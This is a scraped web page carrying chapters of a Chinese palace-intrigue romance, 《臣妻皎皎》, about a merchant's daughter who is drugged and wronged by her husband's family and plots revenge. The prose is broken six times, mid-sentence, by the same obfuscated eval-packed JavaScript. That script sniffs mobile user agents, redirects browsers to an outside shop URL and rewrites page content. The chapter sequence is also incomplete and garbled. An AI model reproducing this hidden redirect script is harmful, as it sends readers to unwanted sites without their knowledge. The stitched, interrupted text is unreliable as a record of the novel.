《臣妻皎皎》 第一章 失贞 嫁人两年,顾皎皎还是处子身。 但她却在丈夫归来前夕失去了贞洁。 看着身上遍布的青紫痕迹,她浑身血液都凝固了,整个人犹如坠入冰窟,动弹不得。 她被算计了。 脑海中疯狂蹿入昨天的记忆。 从婆婆忽然让她到寺庙求平安经,再到她身边的一等女使给她吃了茶后发热的身体,最后则是模糊的一些片段。 男子精壮的身躯、火热的手掌。 还有耳边一直回响的喘息。 顾皎皎攥紧手指,心底涌上愤恨,她强忍着眼泪,哆嗦着唇瓣一点点穿好衣裳。 她知道。 丈夫一家都看不上她。 成亲当日是她一个人拜的堂,满堂宾客对她指指点点; 婆婆不许她在人前露脸,把她圈在府中寸步不得出,企图让京城遗忘她的存在。 这两年府中上下花销的都是她的嫁妆。 她们理直气壮喝她的血。 嫌弃她。 她一直在忍。 “嘭嘭嘭!” 随着敲门声,清脆女声在外边响起:“夫人,平安经已经开过光了,咱们这就可以回府了。” 顾皎皎起身,满目清冷拉开屋门。 外边女使却神色如常,屈膝道:“马车已经套好了,请夫人移步上马。” 这是什么意思? 顾皎皎眼神闪烁,没从女使脸上看出什么。 她沉默了片刻才道:“怎么早起不叫我?” 女使:“奴婢看夫人房门紧锁,叫了好几声都没有回应,就想着夫人必定是昨夜诵经累到了,想着叫您多歇歇。” 回答的毫无纰漏。 顾皎皎拧眉。 她很确定昨天自己被下药了,做出这一切的就是她的婆婆,也确定眼前这个女使是婆婆的人了。 可她们现在要做什么? 见顾皎皎许久未动,女使抬头:“夫人?可是还有什么事没有办妥?” 顾皎皎转身上了马车。 “回府。” 一行人浩浩荡荡出了寺庙。 顾皎皎是商女,父亲是江陵首富,一辈子就她这一个女儿,在临终前几乎是散尽家财为她寻得一门好亲事。 安阳侯府在遍地侯门的京城虽然算不得什么。 可在她们这样的商籍眼里,这已经是登天般的阶级跨越了。 她是带着顾家所有嫁入安阳侯府的。 结果没想到,安阳侯府却是一窝豺狼虎豹。 两个时辰后。 京城,安阳侯府。 马车才刚进府,就有个婆子迎了上来,正是老夫人跟前得用的嬷嬷。 “给夫人请安,老奴来接平安经,老夫人说夫人舟车劳顿想必累了,晚上再去请安吧。” 女使捧着经书上前:“那夫人您先回去,奴婢陪着把平安经送过去。” 顾皎皎心里冷笑。 这是迫不及待去见老夫人回话了? 她面上不显,颔首后进了二门,沉着脸一路回了自己的皎月阁。 “姑娘!” 莺儿小跑上来,欢喜道:“听说三爷明天就回来了。” 她畅想着未来:“有三爷给您撑腰,往后就不会有人欺负您,到时候生个一儿半女,您何愁没有好日子过!” 是麽。 顾皎皎缓声道:“他回来,恐怕带来的是我的死期。” 莺儿吓了一跳:“姑娘您说什么呢!” 顾皎皎拉着莺儿回了内室,把昨天发生的事,还有自己的猜测全告诉了莺儿。 当初她只带个两个伺候的人入安阳侯府。 一个是莺儿,一个是秋容。 莺儿是打小跟着伺候的,秋容是半道被买来的,她怎么也没想过秋容会背叛自己。 “秋容她怎么会……”莺儿先是气愤然后是迷茫:“姑娘,会不会是什么误会?” 顾皎皎摇头:“不会,她必定已经是老夫人的人了。” 不然莺儿不会被借故留下。 “这个坏了良心的小蹄子!姑娘您对她这么好,她竟然背叛您,我去找她说理去!” 莺儿气坏了,转身就要出去。 却被顾皎皎叫住:“你现在去找她有何用,无凭无据她会承认?打草惊蛇不说,还会叫孙家发了狠要我的命。” 莺儿慌了:“那怎么办?姑娘,要不咱们逃吧?” 姑娘举目无亲,怎么跟侯府作对? “逃?我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14017217|148660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能逃到哪儿去,前脚我逃走,后脚孙家便会让‘顾皎皎’成为一个死人,我就要改名换姓,以后再也不能面世。” 更何况。 这些年她受的这些躏辱、被孙家吸的血,难不成就这么算了? 不。 她不会逃。 她要让孙家把她的一切都还来。 顾皎皎起身走到书桌前:“孙家既起了心思,唯有让他们一家万劫不复,我才能活。” 她声音坚定平静,似是在说中午吃什么饭一般,无形中安抚了莺儿的情绪。 莺儿神色缓和不少。 她握住顾皎皎的手:“姑娘,无论如何,奴婢都会陪着您一起,绝对 不会背叛您!” “好丫头。” 顾皎皎把写好的一封信交给她:“你悄悄出去,把这封信交给王吉,让他照着我信里吩咐的去做。” “是!” 莺儿拿了信便出去了。 顾皎皎走到窗前,举目望向不知名的方向。 她知道孙家要做什么。 无非是舍不得她的万贯家产,却又不想让她占着孙三嫡妻的位置,可这么突然动手只会有一个原因。 那便是孙三要另娶他人。 同一时间。 安阳侯府另一边。 秋容跪在地上,焦急的替自己辩解:“嬷嬷,不是我不诚心替老夫人办事,你们事先安排好的那个男子他根本没有出现啊!” 嬷嬷拧眉不悦:“你少胡说八道,那小子拿了我的钱,他怎么敢不办事?” 再说。 那可是她堂侄子。 他还能跑了不成? “你就是心里念着她是你的旧主吧!” “真的不是啊嬷嬷,不信您派人去寺庙问问便知道了!” 见她这么坚持,嬷嬷半信半疑。 难不成真是她堂侄子没去? “哼,我自然会去查证,要是叫我知道你在扯谎,看老夫人怎么收拾你,回去吧!” 秋容慌手慌脚爬起来,连连躬身小跑走了。 嬷嬷想了想,转身回家去找她堂侄子,结果却发现人不见了,她又去了寺庙,得的话与秋容差不多, 她那堂侄居然没去寺庙。 第二章 人死了 嬷嬷奇了。 人不见了,又没去寺庙。 那人去哪了? “说不得又去吃酒赌钱去了,这王八羔子,别叫老娘逮着,拿了钱却不办事!” 嬷嬷心里骂也没法子,只能硬着头皮去给老夫人回话,少不得被老夫人责骂了一通。 事儿没办成,孙老夫人一整天心情都不好。 到了晚上,她故意叫了两个儿媳妇过来,这两个人一向看不上顾皎皎。 顾皎皎去的时候。 她们俩人已经到了好一会儿了。 “哟,弟妹来的可真是迟,我们巴巴儿的在这儿等你等的肚子都饿了!” 孙大媳妇率先发难。 孙二媳妇紧跟其后把茶盏搁下:“嗨,谁叫人家是享福的命呢,不像咱俩一心都是伺候婆婆。” 暗示顾皎皎不孝顺。 如果是以前,顾皎皎就权当没听见了,但她现下已经打定了主意和孙家撕破脸,也就没什么好顾忌的了。 “两个嫂子孝心是有的,却不多,我上个月给婆婆请的太医,太医说婆婆喜静,平时还少叨扰的好。” 顾皎皎笑着看孙老夫人:“我念着叫婆婆休息好,这才踩着点儿来的,两个嫂子可没把太医的话放在心里。母亲您说,是吧?” 一句话把正准备说话的孙老夫人堵那儿了。 她不能明着说什么,吭哧瘪肚好半天才道:“你嫂子们也是好心。” 孙大媳妇拍桌怒吼:“说你一句你就有这么多的话,果然是商女,一点儿规矩都不懂,长嫂如母懂不懂?!就这样的也配做我们安阳侯府的儿媳!” 孙二媳妇冷哼:“因为这一个人,我们出去坐席都没有脸面,谁提起来都说我们跟商户女是妯娌,还叫她理家,真是丢了八辈子的老脸!” 两人一贯都是这么挤兑顾皎皎的。 因此说起来顺嘴的很。 “啪!” 顾皎皎拂袖摔了一桌子的茶盏。 惊得孙大、孙二媳妇都愣住了,连孙老夫人都被吓了一跳,好悬没把手里的茶盏扔了。 “你……” 不等孙老夫人发怒,顾皎皎转身福礼:“还请婆母息怒,大嫂子并不是故意诅咒婆母的。” 孙大媳妇先是一楞,继而拍桌而起:“你胡说八道什么?!” “母亲还在世,大嫂就口口声声说长嫂如母,这不是咒母亲过身吗?” 顾皎皎垂着眼皮缓缓道:“这便是大嫂子的规矩?若是这般,我还是做个没规矩的人吧。” 说完不给三人反应的机会。 她从怀里拿出对牌,一股脑塞到孙二媳妇怀里:“二嫂子既有不满,说我不配管家,以后家中一应事务我便不插手了。” “你这是干什么?” 孙老夫人急了:“你大嫂子和二嫂子不过是……不过是多嘴几句。” “是吗?” 顾皎皎眨巴眨巴眼,看着孙老夫人道:“那母亲便是不赞同大嫂和二嫂说的了?” 孙老夫人眼角抽搐几下,拉住顾皎皎的手:“那是自然,你的性子我是清楚的,最是孝顺不过的。” “大嫂,二嫂,你们可听见了?” 顾皎皎笑着看她们:“你们说再多有何益,在母亲眼里我可是好的。” 孙二媳妇哪受得住着挑衅? 她顿时跟踩着尾巴的猫似跳起来。 孙二媳妇:“母亲你何必看她脸色?!不就是管家理事吗!我来便我来!她本就不配做我们孙家人!” 顾皎皎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14017218|148660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 唇角一翘。 她这两个嫂子,大嫂子出身不好平时话不多,眼界也没多少,最会算计蝇头小利。 二嫂子因为出身好,从小被父母娇养长大,所以牙尖嘴利最是个莽撞的。 果然一刺激就忍不住了。 “既如此,儿媳就不在这儿碍大嫂、二嫂的眼了。” 话落顾皎皎福礼,转身就走了。 孙老夫人就是想拦也来不及,气得她脑袋一阵眩晕,踉踉跄跄差点载倒在地。 唬得两个儿媳妇忙上去扶住她。 “母亲!” “母亲您怎么了?” 两人急吼吼的。 “你们给我滚开!!”孙老夫人一把甩开两人,哆嗦着手:“你们……你们简直是要把我气死啊!” 知不知道这一个侯府,平日里花销是多少啊? “还你管就你管?!” 孙老夫人指着孙二媳妇破口大骂:“你有多少银子?你爹娘给你陪嫁多少?!平日里你可舍得掏出一个子儿来?!你能跟顾皎皎比?” 这二儿媳妇刘氏虽然出身好,可也就占个娘家有身份。 顾皎皎可是金山银山在手啊! 不说这话还好,一说这话刘氏倔脾气就犯了,梗着脖子还非要管这个家不可了。 “不就是管家吗,我怎么就管不得了?平时难不成不是母亲说她顾皎皎上不得台面?怎么她稍微一拿捏母亲就怕了?” 刘氏起身:“母亲怕我却是不怕的!” 话落抓着对牌气哄哄的走了。 把个孙老夫人气的,好悬没厥过去。 一时之间屋 子里只剩下孙大媳妇章氏。 本小章还未完,请点击下一页继续阅读后面精彩内容! 第四章 如果被人发现 “是。” 孙协兆颔首,又转向莺儿问道:“你来找我有事?” 莺儿如梦初醒。 这才想起来自己来是为了送东西。 以及姑娘的吩咐。 忙上前:“我们家姑……夫人要我来,送东西给姑爷。” 孙协兆拧眉:“晚上我就回家了,何必大费周章来给我送东西。” 莺儿不语。 榻上的小云南王却起身。 他慵懒的支起一条腿:“我倒好奇你夫人给你送了什么,打开来我瞧瞧。” 随着他起身。 他颈项一点红色血痣若隐若现。 …… 安阳侯府。 莺儿低声回话:“奴婢瞧着传闻恐怕不实,那小云南王风姿过人,定不是好男风的人,他与孙三相处的也寻常,一看便是臣下关系!” 她很笃定:“不过,孙三看见姑娘送过去的东西脸都变了,要不是小云南王在,恐怕他都要骂奴婢了。” 顾皎皎含笑。 她送给孙协兆的,是当年定亲时的信物,不过那玉佩已经是碎的了,所以那盒子里还有三千两银票。 玉佩是她故意打碎的。 银票是故意羞辱孙协兆的。 不然他怎么会怒急攻心之下做下‘错事’。 顾皎皎:“你做的很好,待会儿你就出去见一见王吉,他那边应该很快就会有发现了。” 莺儿眼底一亮。 她是知道的,王吉这两天都跟着孙协兆,既然姑娘说该有发现了。 那应该是孙协兆要干什么事了? 就在莺儿想说什么时,一个小女使进来,迟疑了片刻上前回话:“夫人,第一楼的掌柜来了,他有话请示夫人。” 第一楼的掌柜? 她不是说过,如果不是要事,他们尽量不要来见她,免得被人发现第一楼是她的产业吗。 顾皎皎挑眉:“把人带进来吧。” 进来的是个女子,看着是妇人打扮,样子却年轻的很,着装也很考究。 “见过顾姑娘,今儿安阳侯府定了晚上的席面,说是照旧记在账上,可王吉先生特来吩咐过,往后姑娘和侯府的账不走一个,所以特来请示顾姑娘。” 晚上的席面? 那应当是晚上家宴和宴请小云南王的? 二嫂子就是这么当家的? “知道了,王吉怎么说你们怎么做就是了,我的账是我的账,侯府的账是侯府的账,如今可不是我管侯府的家了。” 顾皎皎笑着饮茶:“侯府是不是有钱付账,我可不清楚。” 掌柜的是个人精,闻琴知雅意。 她眼神闪烁了几下:“顾姑娘说的很是,我们现在也是不记账,只要现银的。” “你去吧。” 顾皎皎挥挥手。 第一楼的掌柜便退出去了。 到了傍晚,安阳侯府上上下下都忙了起来,刘氏铆足了劲儿要把这个宴席办好给顾皎皎难看。 皎月阁里。 顾皎皎对镜梳妆。 莺儿压低了声音道:“姑娘,王吉送了消息回来,孙协兆两个时辰前出了驿站,他并没有先回府,而是去了一处院子。” 竟是外室? 这倒是出乎顾皎皎的意料。 能给人做外室的,必定不是什么良家女,能比她这个商女好到哪儿去? “去查一查,那院子里住的是谁,告诉王吉好好查,那里头住着的人身份必定不简单。” 安阳侯府上上下下都是利欲熏心之辈。 能叫她们铤而走险的,不是大富也是大贵。 或者身世复杂。 直觉告诉顾皎皎,这里边有什么事。 同一时间。 驿站。 暗卫推门而入,单膝跪地回话:“主子,属下发现有人靠近那个小院儿,并且在四处打探院里人的消息。” 沈云祉撩起眼皮,淡淡道:“你们暴漏了行踪?” 暗卫:“不是属下们,而是孙协兆,他去小院儿找了那个女子,两人温存了一番才走,那人就是跟着孙协兆来的。” “蠢货。” 沈云祉起身:“我以为他还有点儿脑子,不成想如此沉不住气。” 他声音淡淡的。 自有一股上位者的矜贵冷然。 “把人换个地方安置,再让她警告警告孙协兆,非等她认祖归宗,不可再见面。” 暗卫颔首应是,恭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14017219|148660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 敬的退出去。 外头小厮紧跟着进去回话:“小王爷,那件事已经处理妥当了,尸首就埋在寺庙后头,不会有人发现。” 沈云祉:“那个女子找到了吗。” 小厮摇头:“过后奴才去找,人已经走了,小王爷别将这事放在心上了,那女子也不认得您。” 沈云祉无言。 沉默着看向窗外。 他并不是前两日抵达京都的,有孙协兆这个蠢材作证,他提前半个月回了京,秘密做了一些事。 如果被人发现。 那么云南王府满府都要遭殃。 “奴才给您上药吧?”小厮上前,小心翼翼退下沈云祉的衣衫。 沈 云祉精壮的身躯上有一个狰狞孔洞。 小厮心疼的了不得:“那该死的大理寺卿。” 那天小王爷亲自去找大理寺卿,逼问他证物的下落,结果那老不死的正在狎妓,还在屋子里点了助兴的熏香。 小王爷中了药然后才被射了一箭。 匆忙之下小王爷一路逃进寺庙,据小王爷回忆,他杀了一个男子,后来又与一个女子有了夫妻之实。 解毒后他凭借毅力又离开寺庙回了回京队伍。 暗卫第二日找到寺庙,根本没有找到什么女子,但却找到了一具男子的尸体,顺便就处理了。 “找不到便算了。” 沈云祉淡漠道。 …… 是夜。 安阳侯府张灯结彩,一家子人都在门口候着。 章氏眼观鼻鼻观心,并不是很开心;刘氏则是满脸的骄傲自得,觉得自己这次宴会办的很是好。 顾皎皎神思不属。 她脑子里只有王吉的回话。 那个小院儿的人竟然不见了。 是被孙协兆发现了? 就在这时,一辆奢华马车停靠,孙协兆下马恭敬道:“到了,小王爷下马吧。” 顾皎皎回神抬眸。 正看到一只如玉修长莹白的手撩开帘子,随后便是个身材俽长的男子出来。 他双眸狭长淡漠,高耸的鼻梁下是一张浅薄唇瓣,眉毛斜飞入鬓、乌发如瀑扣在玉冠中。 这是一个什么样的男子? 第五章 认出 举手投足间都是贵气,眼角眉梢带动着光彩,让日光都失神了不少。 这就是小云南王沈云祉? 顾皎皎屏息。 早知道他生的好看,却没想到会好看成这样,由他比衬着,身侧的孙协兆简直毫无存在感。 “见过小王爷!” 孙老夫人率先回过神,跪下见礼。 一众人紧跟着跪下。 “老夫人快请起,今日本就是小王叨扰,若还叫老夫人见礼,小王真是无地自容。” 沈云祉上前虚扶。 孙老夫人高兴的了不得:“小王爷快快请进,东西已经都预备好了。” 孙协兆颔首:“王爷快请进吧。” 大家簇拥着沈云祉上前,偏偏刘氏要闹幺蛾子,故意大声道:“协兆啊,你还没见过你媳妇儿吧?你也是的,回来也不跟她说说话,她可是等了你两年呢!” 说着恶意的把顾皎皎推出去。 所有人都看见顾皎皎。 包括沈云祉。 这就是孙协兆的夫人? 看着生的倒是清秀,眼神也清澈,跟了孙协兆这样的人也是可惜了。 “协兆,这是你夫人。” 他转头看孙协兆。 孙协兆忙上前:“是,她是个没见识的商女,叨扰小王爷了。” 说着冷冷瞪一眼顾皎皎:“你愣着干什么,惊扰了贵人你可承担的起?还不退下!” 喝斥的语气好像顾皎皎是个下人一般。 毫不给她面子。 顾皎皎眼观鼻鼻观心,唇角含笑道:“虽说二嫂不顾场合言语不当,可还请小王爷勿怪,我二嫂一向说话直白。” 说着又转向孙协兆:“虽然夫君训斥的有理,可二嫂毕竟是我们的嫂子,夫君还是要顾及她和二哥的面子才好。” 孙协兆愣住了。 他是在说她,不是在说二嫂吧? 安阳侯府一家子都愣住了。 竟还可以这样? 刘氏反应过来,跳起来就要骂顾皎皎,却被身边的婆子死死给拉住了。 孙老夫人死死瞪着她。 警告她不要惹事。 沈云祉本觉得今晚的宴会会非常无趣,没成想这里竟有个有趣儿的人。 他多看了顾皎皎一眼。 含笑率先进府。 其他人不敢耽搁,也忙着跟上去。 唯独孙协兆缀在众人后边,冷冷看着顾皎皎。 “这两年我还以为你在孙家安分守己,不成想竟是这样心性,你当知道,以你的身份嫁到我们家便是登天,你该恭顺。” 这是两人第一次见面。 他就开始说教了? 顾皎皎笑着看他:“你是在教我如何为人处世吗?可依你这样不孝的行径,有何资格对我说教?” 孙协兆大怒:“你放肆!” “怎么,说到你痛处了吗?父母在不远行,你一去两年不回,不是不孝又是什么?” 顾皎皎步步紧逼:“我与你连夫妻之实都没有,你更没有教我的资格。” 话落转身进府。 孙协兆冲过来一把拉住她。 “放手。” 顾皎皎冷眼看他。 她现在看孙协兆一眼都觉得恶心。 整个安阳侯府都叫她恶心。 既看不上她商女身份,当年就不该娶她,一面被金钱诱惑,吃她的用她的,一面又嫌弃她是商女。 一家子衣冠禽兽! 孙协兆冷笑:“滚回你的院子去,你的身份,不配出现在我们孙家的家宴上。” “你确定?” 顾皎皎转头笑着看他:“你可别后悔,到时候又来请我去你们的家宴。” 孙协兆甩开她。 “你以为你是谁,我……” 不等他说完顾皎皎就转身走了。 她现在半点听他说话的兴趣都没有。 气的孙协兆眼冒金星,偏偏还无计可施,只能自己一个人憋着火去了内院。 皎月阁。 莺儿迎了上来:“姑娘,今天不是有家宴吗,您怎么回来了?” 因为来的是小云南王,整个侯府都很重视,还不让女使轻易跟着主子。 “你家姑娘被撵回来了。” 顾皎皎笑着坐下:“快给我倒杯茶喝,站了一会儿渴的很。” “稀罕去她那个鬼家宴呢!” 莺儿忙倒茶,嘴里把安阳侯府的人骂了一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14017220|148660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 遍。 “好了,王吉那边有消息了没?” 顾皎皎嗔怪的叫住她:“我教他的法子应该会管用的。” “找到了!” 莺儿神神秘秘道:“还是姑娘厉害,那些人谨慎,连伺候的人都不随便去牙行找,但厨娘却是要找的,王吉就找新聘出去的才厨娘,果不其然找到了那些人!” “好。” 顾皎皎眯眼:“那你就想法子让秋容上套吧。” 莺儿重重点头:“姑娘放心!奴婢会好好儿办这件事的!” 这边主仆俩正说着话。 外头传来一阵急急敲门声。 “夫人啊,三夫人,您怎么回来了,老夫人那边正急着叫您过 去呢!” 是老夫人那边的人。 顾皎皎对莺儿使了个眼色,自己则进了内室躺下。 莺儿拉开门,拦着嬷嬷不叫她进去:“你回去告诉老夫人,我们家姑娘叫气着了,这会儿起不来床了,实在过不去。” “哎哟我的好姑娘,你好好劝劝三夫人,这可是家宴呐,怎么能缺人呢?” 嬷嬷急的不行。 同一时间。 正院儿那边气氛凝结到冰点。 孙老夫人气的脸色煞白,摇摇欲坠眼看就要晕过去了,刘氏更是整个人都慌了。 以前叫席面不都是记账的吗? 这第一楼今天是怎么回事,好好儿的就要现银,她哪儿有那么多现银啊? 她也实在不知道。 这第一楼的席面居然这么贵啊! 刘氏低吼:“你,你们这是讹人!不过几桌席面,怎么就要几百两银子了?!” 为了彰显自己的本事,她恨不得把山珍海味都给填来,以为不用花自己的钱所以根本不考虑价格。 闻见刘氏所言,一旁的掌柜不乐意了:“二夫人说笑了,咱第一楼诚信做生意,哪里有讹人的说法?” “况且……” 掌柜扫了席面一眼:“二夫人您定的这几桌席面,说是炊金馔玉也不为过。” “若是三夫人在场便会知晓,今日席面几百两已是熟客特惠,也定然不会说出讹人这等话来砸第一楼的招牌!” 刘氏哑口无言。 第六章 迟早得休了她 平日里她未曾管家,吃的喝的都是顾皎皎在经手。 如今第一次定席面自然没了分寸。 虽理是如此,刘氏却是不服的,也不愿落了面子。 她道:“顾皎皎一介商女见识浅薄,自然不晓得其中的弯弯绕绕,可你却是唬不了我的!” 孙老夫人也忙帮腔:“正是如此,顾氏眼皮子浅,指不定被你们这黑心酒楼骗了多少银钱。” 掌柜气急,正想理论两句,刘氏一锤定音。 “罢了,今日有贵客在场,也不稀得从前那三瓜俩枣,今日席面还同往常一样记账,月底再来府中收便是! 说完,刘氏搀着孙老夫人便要进去。 孙协兆弓腰恭敬道:“碰到了不懂事的,小王爷见笑了,里面请上座。” 沈云祉勾唇一笑,脚步却未移动分毫。 今日之事恐怕不是轻飘飘的一句记账便能了结的。 果然,那掌柜带着数名小二拦在刘氏与孙老夫人跟前。 刘氏怒吼:“你这是何意?!” 掌柜将账簿递给刘氏:“今日席面共计八百两,二夫人是给现银还是银票?” “都说了记账!”刘氏咬牙切齿。 她那里有银子? 并且还是八百两之多! “二夫人,第一楼往后不记账,今日席面先结账后用膳!” 掌柜也分毫不让:“想必二夫人也不会想让京中旁人知晓,偌大的安阳侯府拿不出区区八百两的席面银两吧?” 场面一时僵持不已,孙家众人面上都火辣辣的。 沈云祉身旁的小厮看了主子一眼,无声询问是否需要出手帮忙解决安阳侯府眼前困境。 他轻轻摇头,眼眸淡然。 既然是孙家宴请,那自然有何问题应当孙家解决。 况且瞧着眼前情况,这一大家子实在一言难尽,可劲儿逮着那顾皎皎吸血。 若是知恩图报便罢了,还一口一个商女的叫着。 他自诩不是好人,却也做不来与欺负弱女子之人同流合污之事! “咳咳!”孙老夫人推搡了刘氏一下:“既然要现银,你便去结了吧,莫要让小王爷久等了。” 刘氏闻言不语,脚步未挪分毫。 孙老夫人不耐:“快去啊,还愣着做什么?” 刘氏这才苍白着脸结结巴巴:“儿媳前些日子看重了一套点翠头面,手中没甚余钱……” “什么?!” 孙老夫人差点一口气没缓过来,双膝一软便要仰躺在地。 幸好一旁的章氏扶住了她。 孙老夫人气得头昏脑涨,这才后知后觉意识到家中丑事被外人看了去。 她转头虚弱一笑:“小王爷见笑了,老身这二儿媳是个败家的。” “平日里都是三儿媳顾皎皎在管家,今日她使小性子不愿来家宴,这才有了这场闹剧。” 沈云祉看破不说破,了然点头:“如此倒是您那三儿媳不懂事了。” “正是如此!”孙老夫人声音高了些:“到底是商女,没什么大局观。” “协兆,还不快去将你那不成器的媳妇找来!” 孙协兆这才意识到方才顾皎皎说的话是何意,一时气得咬牙切齿,应了一声忙去寻人。 这顾皎皎真是给脸不要脸! 能嫁到安阳侯府已然是她天大的福分。 如今竟还这般不懂事,今日让他在小王爷面前这般丢脸,且都先记着,迟早得休了她! 孙协兆步履匆匆,生怕慢了一步小云南王便走了。 一路上他肚里的怒火积攒,等到了顾皎皎院子时,一张脸如同滴了墨一般,黑沉不已。 他一脚踹开紧闭的院门,怒气冲冲直往顾皎皎寝屋方向走。 莺儿冷脸拦在寝屋外:“姑爷,我们姑娘身体不适,您请回吧!” “身体不适?”孙协兆冷笑:“方才我回府时还巴巴的侯着,这才多少功夫,便身体不适了?” 莺儿反唇相讥:“我们姑娘正是见了姑爷气的,您请回吧,姑娘如今却是十分不适,已然睡下。” 孙协兆闻言心中怒火更盛,反手扇了莺儿一巴掌:“你算什么东西?敢这般同我说话?!” 将莺儿重重推开,他刻薄道:“你主子不过一介卑贱商女,摆什么架子?” 孙协兆说着便要推开寝屋门,却发现落了锁。 “顾皎皎,你什么意思 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14017221|148660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?!”孙协兆怒吼出声,手砰砰砰的大力拍打房门。 拍打房门无果后,他知晓来硬的不行,便放缓了语气。 “皎皎,若是你实在身体不适,便先将今日的席面银钱给我,届时你好好休息,无人打扰你。” “皎皎?” “皎皎?!” 屋内,顾皎皎悠闲坐在茶案前,柔胰肤若凝脂,正慢条斯理点茶。 任凭门外孙协兆如何闹腾她也默不作声,只唇边讽意不断加深。 见时间差不多了,莺儿上前道:“姑爷,我们姑娘一向觉浅,因此特意找了医师开了助眠之物,方才已然服药睡下。” “多久能醒?” “不一定!” 孙协兆咬紧后槽牙 ,气得两眼发黑。 什么身体不适、助眠之物,这主仆二人是把他当成傻子哄吗? 从前他倒是不知晓这商女是个有心机的! 如今小云南王正在前厅等着,万万不可继续耽误。 他用力踹了房门一脚,冷声道:“不过区区八百两,我还是能想到法子的,只是希望今日之事你日后不会后悔!” 撂完狠话,孙协兆赶忙快步离开。 莺儿打开房门:“姑娘,听方才姑爷的意思,他身上是有银钱的,今日咱们所谋会不会落空?” 顾皎皎轻抿一口茶水,淡笑:“不会。” “他那点微薄月银,养了外室又能剩下多少?” “况且,以他的性子,若有银子,便不会到我这儿来耗这么久了。” 顾皎皎似笑非笑:“耗得久好啊,耗得不久怎能让人知晓他能力不济?” 到处东拼西凑,孙协兆才将八百两银钱凑齐,凑齐银两又火急火燎赶往正厅。 沈云祉瞧着孤身一人前来的孙协兆轻轻挑眉。 他这是一个时辰都没搞定那顾皎皎? 心中有些失望,这孙协兆如今是越看越不中用。 倒是那顾皎皎,有点意思。 孙协兆不知沈云祉想法,朝他谄媚一笑,而后才冷着脸将银票丢给第一楼掌柜。 “我安阳侯府还未落魄到八百两银子都拿不起,拿着银票滚出侯府!” 第七章 或许是巧合 第一楼掌柜闻言也不恼。 她直接无视孙协兆,淡然接过银票:“请入席。” 说完,掌柜带着一众小二离开安阳侯府。 孙协兆笑着将沈云祉迎入席,同往常那般天南地北讨论,兴致高昂。 用完晚膳,沈云祉带着小厮回府。 马车上,小厮道:“小王爷,今日用膳时瞧着您兴致不佳,可是有何心事?” 沈云祉摇头。 “心事倒是没有,不过是每次那孙协兆都说同样的话,觉得聒噪罢了。” “他的那番言论,初听倒是十分惊艳,不过越品越乏味。” 小厮嘿嘿笑:“小的也不懂这些。” 沈云祉闭眸,女子清秀白皙的面庞闯入脑海。 他唇边勾起一抹笑容,微微抬眸道:“双瑞,告知双剑帮本王查一人。” 孙府 饭厅内气氛冷凝,孙老夫人冷脸端坐在上首。 章氏、刘氏局促坐在下方。 下人将一桌残羹剩饭清理后,刘氏站起身。 她颇有些理亏,轻声道:“母亲,若是没有其他事情,儿媳便先回房了……” “回房?”孙老夫人瞪了她一眼:“今日安阳侯府因着你,在小云南王跟前丢了好大的脸,你竟轻描淡写说无事便回房?” 刘氏一噎。 半晌才结巴道:“母亲说的什么话,这分明是顾皎皎惹出的祸事!” “若是她早些来了宴席,早些将银钱结了,又怎会生出这些事端?” 说完,她小声又道:“还有三弟也是,自己的女人都管不好,说起来,三弟何尝不担一些责任?” 送完沈云祉的孙协兆正好将刘氏最后一句话尽收耳底。 